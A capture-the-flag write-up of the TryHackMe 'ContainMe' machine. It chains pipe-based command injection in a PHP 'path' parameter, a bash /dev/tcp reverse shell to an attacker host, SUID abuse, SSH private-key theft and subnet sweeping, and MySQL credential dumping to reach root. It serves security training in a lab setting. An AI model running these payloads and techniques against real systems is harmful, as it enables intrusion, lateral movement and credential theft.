> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/tryhackme/ctf-writeup-containme-tryhackme.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# CTF Writeup   ContainMe   TryHackMe

**Difficulty:** Medium\
**Theme:** Container escape / lateral movement / pivoting

## Overview

A multi-stage machine involving command injection via a PHP web app, SUID binary abuse for privilege escalation inside a container (`host1`), SSH key pivoting to a second container (`host2`), and MySQL credential harvesting to reach root and extract the final flag.

## Phase 1 — Reconnaissance

### Nmap

```bash
nmap -sCV -A <MACHINE-IP>
```

Open ports:

```
22/tcp   — OpenSSH 7.6p1 (Ubuntu)
80/tcp   — Apache 2.4.29
2222/tcp — unknown (empty reply on curl)
8022/tcp — OpenSSH 8.2p1 (Ubuntu)
```

### Directory Enumeration

```bash
dirsearch -u http://<MACHINE-IP>/ -x 403
```

Results:

```
/index.php        — 200 (175B)
/info.php         — 200 (21KB — full phpinfo page)
```

`/info.php` revealed PHP 7.2.24 and full server configuration details.

## Phase 2 — Command Injection via `index.php`

### Source Code Discovery

Viewing the page source of `/index.php` revealed a comment:

```html
<!-- where is the path ? -->
```

The page body also showed a directory listing (`ls -la` style output), suggesting the backend passes user input directly to a shell command.

### Parameter Fuzzing

```bash
ffuf -u "http://<MACHINE-IP>/index.php?FUZZ=test" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -fs 175,329
```

The `path` parameter produced a different response size.

### Confirming LFI / Command Injection

Test path traversal:

```
http://<MACHINE-IP>/index.php?path=/../../etc/passwd
```

This returned a file listing, indicating the backend was running something like `ls -la <path>`.

Test pipe injection:

```
http://<MACHINE-IP>/index.php?path=/etc/passwd|id
```

Response:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

RCE was confirmed.

### Reverse Shell

Start a listener on Kali at `<ATTACKER-IP>:4444`, then trigger:

```
http://<MACHINE-IP>/index.php?path=/etc/passwd|bash -c 'bash -i >%26 /dev/tcp/<ATTACKER-IP>/4444 0>%261'
```

A shell was received as `www-data` on `host1`.

## Phase 3 — Privilege Escalation on host1 via SUID Binary

### SUID Search

```bash
find / -perm -4000 2>/dev/null
```

Notable result:

```
-rwsr-xr-x  1 root root 358668  /usr/share/man/zh_TW/crypt
```

An unusual SUID binary was present in a man page directory.

### Binary Exfiltration

`strings`, `file`, `ltrace`, and `checksec` were not available inside the container. Exfiltrate the binary using base64:

```bash
# on host1
base64 /usr/share/man/zh_TW/crypt

# copied output to Kali
base64 -d crypt.b64 > crypt
```

On Kali:

```bash
file crypt        # ELF 64-bit MSB *unknown arch 0x3e00*
strings crypt     # shows UPX! markers
upx -d crypt -o decrypted  # NotPackedException — custom packer, not standard UPX
```

### Black-box Testing the Binary

```bash
./crypt           # prints "CRYPTSHELL" ASCII banner
./crypt -h        # "You wish!"
./crypt --help    # "Unable to decompress."
./crypt id        # "Unable to decompress."
./crypt root      # "Unable to decompress."
```

Check `/etc/passwd` for valid users and find `mike`, then try:

```bash
./crypt mike
```

This drops a root shell on `host1`:

```
root@host1:/usr/share/man/zh_TW# id
uid=0(root) gid=33(www-data) groups=33(www-data)
```

The binary appears to check whether its argument matches a valid local username—specifically `mike`—and then spawns a privileged shell.

## Phase 4 — Network Pivoting to host2

### Network Enumeration

```bash
ip a
```

Two interfaces are present:

```
eth0: <CONTAINER-EXT-IP>/24   (external-facing)
eth1: <CONTAINER1-IP>/24      (internal network)
```

`host1` is a container bridged to an internal `172.16.20.0/24` subnet.

### SSH Key Discovery

As root on `host1`, Mike's previously inaccessible home directory can be read:

```bash
cat /home/mike/.ssh/id_rsa
```

Save the key to Kali as `id_rsa`:

```bash
chmod 600 id_rsa
```

### Internal Host Discovery

Loop through the subnet using Mike's SSH key:

```bash
for i in {1..254}; do
  ssh -i id_rsa \
    -o ConnectTimeout=1 \
    -o StrictHostKeyChecking=no \
    -o PasswordAuthentication=no \
    -o BatchMode=yes \
    mike@172.16.20.$i "hostname; id" 2>/dev/null && \
    echo "[+] Success on 172.16.20.$i"
done
```

Successful result:

```
host2
uid=1001(mike) gid=1001(mike) groups=1001(mike)
[+] Success on <CONTAINER2-IP>
```

### SSH into host2

```bash
ssh -i id_rsa mike@<CONTAINER2-IP>
```

You are logged in as `mike` on `host2`.

## Phase 5 — MySQL Credential Harvesting on host2

### Service Enumeration

```bash
ss -tulnp
```

Output:

```
tcp  LISTEN  127.0.0.1:3306   — MySQL running locally
tcp  LISTEN  0.0.0.0:22       — SSH
```

### Grabbing the MySQL Banner

```bash
curl http://localhost:3306 --output service
base64 service | base64 -d
```

Output confirms MySQL 5.7:

```
5.7.34-0ubuntu0.18.04.1 ... mysql_native_password
```

### Login with Weak Credentials

Try common passwords. `password` works:

```bash
mysql -umike -ppassword
```

### Dumping the Database

```sql
show databases;
use accounts;
show tables;
select * from users;
```

Output:

```
+-------+---------------------+
| login | password            |
+-------+---------------------+
| root  | bjsig4868fgjjeog    |
| mike  | WhatAreYouDoingHere |
+-------+---------------------+
```

### Escalate to Root

```bash
su root
# password: bjsig4868fgjjeog

id
# uid=0(root) gid=0(root) groups=0(root)
```

## Phase 6 — Root Flag

```bash
ls /root
# mike.zip

unzip mike.zip
# [password prompt] → WhatAreYouDoingHere (mike's DB password)

cat mike
# THM{REDACTED}
```

## Flag

| Flag      | Value           |
| --------- | --------------- |
| Root flag | `THM{REDACTED}` |

## Full Attack Chain

```
Nmap → found ports 80, 22, 2222, 8022
  ↓
dirsearch → /index.php, /info.php (phpinfo leaks host1.lxd)
  ↓
ffuf → discovered "path" parameter
  ↓
Pipe injection (|id) → RCE as www-data on host1
  ↓
Reverse shell → www-data@host1
  ↓
SUID binary /usr/share/man/zh_TW/crypt + arg "mike" → root@host1
  ↓
Read /home/mike/.ssh/id_rsa
  ↓
SSH key scan on 172.16.20.0/24 → hit <CONTAINER2-IP> (host2)
  ↓
SSH as mike@host2
  ↓
MySQL on 127.0.0.1:3306 → creds: root / bjsig4868fgjjeog
  ↓
su root → /root/mike.zip → THM{REDACTED}
```

## Tools Used

* **nmap** — port and service scanning
* **dirsearch / ffuf** — web directory and parameter fuzzing
* **netcat** — reverse shell listener
* **base64** — binary exfiltration from container
* **strings / upx** — binary analysis on Kali
* **SSH with private key** — lateral movement across containers
* **MySQL client** — credential extraction
